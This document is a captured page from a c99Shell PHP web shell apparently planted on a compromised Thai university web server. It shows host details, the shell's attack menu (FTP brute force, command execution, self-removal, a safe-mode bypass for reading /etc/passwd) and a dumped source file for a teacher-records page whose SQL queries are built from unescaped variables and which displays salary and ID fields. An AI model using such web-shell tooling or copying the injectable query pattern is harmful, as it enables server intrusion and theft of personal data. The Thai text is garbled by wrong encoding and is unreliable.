110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/teacher_aj_viratt/history/Work/ drwxr-xr-x Free 49.66 GB of 127.8 GB (38.86%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

 session_start();

 if (session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password"))

 {

include("../../../include/FunctionDB.php");

ConnectDB();

$Username = $valid_user;

$Password = $password;

$sql = "Select * From personal_tb Where Username='$Username' ";

$result = mysql_query($sql) or die(" Error").mysql_error();

$rs = mysql_fetch_array($result)

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>History Detail</title>

<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<link rel="stylesheet" href="css/style1.css" type="text/css">

<link href="../../../css/style1.css" rel="stylesheet" type="text/css">

<style type="text/css">

<!--

.style1 {color: #000000}

-->

</style>

</head>



<body bgcolor="#FFFFFF">

<table width="100%" border="0" cellspacing="0" cellpadding="0">

  <tr> 

    <td> <table width="85%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC">

        <tr>

          <td colspan="4" bgcolor="#0066CC"><img src="../../../Image/Ponallogo.jpg" width="550" height="71"></td>

        </tr>

        <tr> 

          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 

            <div align="center"><strong><font size="2" face="Tahoma"><a href="../Menu_History.php" class="d">ўйНБЩЕ»ГРЗСµФ</a></font></strong></div></td>

          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 

            <div align="center"><strong><font color="#003399" size="2" face="Tahoma"><a href="../Menu_History.php" class="d">ЎЕСє</a></font></strong></div></td>

          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 

            <div align="center"><strong><font color="#003366" size="2" face="Tahoma"><a href="Edit_Work_History.php" class="d">бЎйдўўйНБЩЕ</a></font></strong></div></td>

          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 

            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../../logout.php" class="d">Logout</a></font></strong></div></td>

        </tr>

      </table></td>

  </tr>

</table>

<table width="100%" border="0" cellspacing="0" cellpadding="0">

  <tr>

    <td><div align="center"><font color="#000000" size="2" face="Tahoma"><strong>ўіР№Хй 

        Н.</strong></font> <font color="#993333" size="2" face="Tahoma"><strong><?php echo $rs["Teacher_name"]?>&nbsp; 

        <?php echo $rs["Teacher_lastname"]?> </strong></font><font color="#000000" size="2" face="Tahoma"><strong>ЎУЕС§гЄй§Т№ГРєє</strong></font></div></td>

  </tr>

  <tr>

    <td>&nbsp;</td>

  </tr>

</table>

<table width="80%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#EEEEEE" style="border:1px solid gray">

  <!--DWLayoutTable-->

  <form action="file:///C|/Apache2/htdocs/Etech/Teacher/FrmEditPersonal.php" method="$_POST">

    <tr bordercolor="#E7FAFE" bgcolor="#ECF5FF"> 

      <td height="20" colspan="3" nowrap bordercolor="#FFFFFF"><div align="center"><font color="#003366" size="4" face="Tahoma"><strong>бКґ§»ГРЗСµФЎТГ·У§Т№</strong></font></div></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#003366" size="2" face="Tahoma"><font color="#006699">&nbsp;<font color="#000000">аЕў·ХиµУбЛ№и§</font></font></font></div></td>

      <td nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma"><?php echo $rs["Teacher_id"] ;?></font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#000000" size="2" face="Tahoma">»ГРаА·єШ¤ЕТЎГ</font></div></td>

      <td nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F4F4F4"> <font color="#003366" size="2" face="Tahoma"> 

        <?php 

    //   echo"$rs["Ptype_code"]";

       $Ptype_code = $rs["Person_type"];

    //   echo"$Ptype_code";

        $sql1 = "Select * From person_type_tb Where Ptype_code='$Ptype_code'";

        $result1 = mysql_query($sql1) or die(" Error ".mysql_error());

        $rs1 = mysql_fetch_array($result1);

        echo "$rs1[Ptype_name]";

      

      ?>

        </font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#000000" size="2" face="Tahoma">»ГРаА·НТЁТГВм</font></div></td>

      <td nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F9F9F9"><font color="#003366" size="2" face="Tahoma"> 

        <?php 

    // echo"$rs["Ptype_code"]";

       $Ttype_code = $rs["Teacher_type"];

     //  echo"$Ptype_code";

        $sql2 = "Select * From teacher_type_tb Where Ttype_code='$Ttype_code'";

        $result2 = mysql_query($sql2) or die(" Error ".mysql_error());

        $rs2 = mysql_fetch_array($result2);

        echo "$rs2[Ttype_name]";

      

      ?>

        </font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td width="215" height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> 

      <div align="center"><font color="#000000" size="2" face="Tahoma">¤ЗТБКТБТГ¶ѕФаИЙ</font></div></td>

      <td nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma"><?php echo nl2br($rs["Skill"]) ;?></font></td>

    </tr>

    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">аЕў·Хигє»ГРЎНєЗФЄТЄХѕ</font></div></td>

      <td width="11" nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td width="573" nowrap bgcolor="#F9F9F9"> <font color="#003366" size="2" face="Tahoma"> 

        <?php echo $rs["Gover_id"] ;?> </font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">аЕў·ХиКБТЄФЎКАТЎТГѕВТєТЕ</font></div></td>

      <td nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma"><?php echo $rs["Forum_nid"] ;?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#000000">аЕў·ХиКБТЄФЎКБТ¤БѕВТєТЕ</font> 

        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $rs["Club_nid"] ;?> 

        </font></td>

    </tr>

    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">»Х·ХиаГФиБГСєГТЄЎТГ</font></div></td>

      <td width="11" nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td width="573" nowrap bgcolor="#F9F9F9"><font color="#003366" size="2" face="Tahoma"><?php 

      echo "$rs[Year_gov]";

      ?>

      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">»Х·ХиаГФиБ·У§Т№г№ЗФ·ВТЕСВ</font></div></td>

      <td width="11" nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td width="573" nowrap bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma"> 

        <?php 

      echo "$rs[Year_coll]";

      ?>

&nbsp;&nbsp;<font color="#006699"> </font>&nbsp;&nbsp;</font></td>

    </tr>

    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">»Х·ХиаГФиБ·У§Т№г№АТ¤</font></div></td>

      <td width="11" nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td width="573" nowrap bgcolor="#F9F9F9"><font color="#003366" size="2" face="Tahoma"> 

        <?php 

      echo "$rs[Year_fac]";

      ?>

        </font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">µУбЛ№и§·Т§ГТЄЎТГ</font></div></td>

      <td nowrap bordercolor="#E7FAFE" bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bordercolor="#E7FAFE" bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma"> 

        <?php 

      echo "$rs[Gover_pos]";

      ?>

        </font></td>

    </tr>

    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">µУбЛ№и§ЎТГєГФЛТГ</font></div></td>

      <td nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F9F9F9"><font color="#003366" size="2" face="Tahoma"> 

        <?php 

      echo "$rs[Manage_pos]";

      ?>

        </font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#000000" size="2" face="Tahoma">КС§ЎСґАТ¤ЗФЄТ </font> </div></td>

      <td nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma">

        <?php 

      $Faculty_code = $rs["Faculty_code"];

       $Strsql = "Select * From faculty_tb Where Faculty_code ='$Faculty_code' ";

       $res = mysql_query($Strsql) or die("Error $sql".mysql_error());

       $rss = mysql_fetch_array($res);

        echo "$rss[Faculty_name]";

      ?>

      </font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma"><span class="style1">а§Ф№аґЧН№</span></font></div></td>

      <td nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma"><?php echo $rs["Salary_1"] ;?></font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#003366" size="2" face="Tahoma">а§Ф№¤иТµНєб·№ЗФЄТЄХѕ</font></div></td>

      <td nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma"><?php echo $rs["Salary_2"] ;?></font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#003366" size="2" face="Tahoma"> а§Ф№»ГРЁУµУбЛ№и§</font></div></td>

      <td nowrap bgcolor="#F4F4F4"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F4F4F4"><font color="#003366" size="2" face="Tahoma"><?php echo $rs["Salary_3"] ;?></font></td>

    </tr>

    <tr bgcolor="#ECF5FF"> 

      <td height="20" colspan="3"> <div align="center"> 

          <input type="hidden" name="Teacher_code"  value="<? echo $rs[Teacher_code]?>">

        </div></td>

    </tr>

  </form>

</table>



<p>&nbsp;</p>

</body>

</html>

<?php 

    }

else

{

       echo"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";

       echo"Please Login ";

}

?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: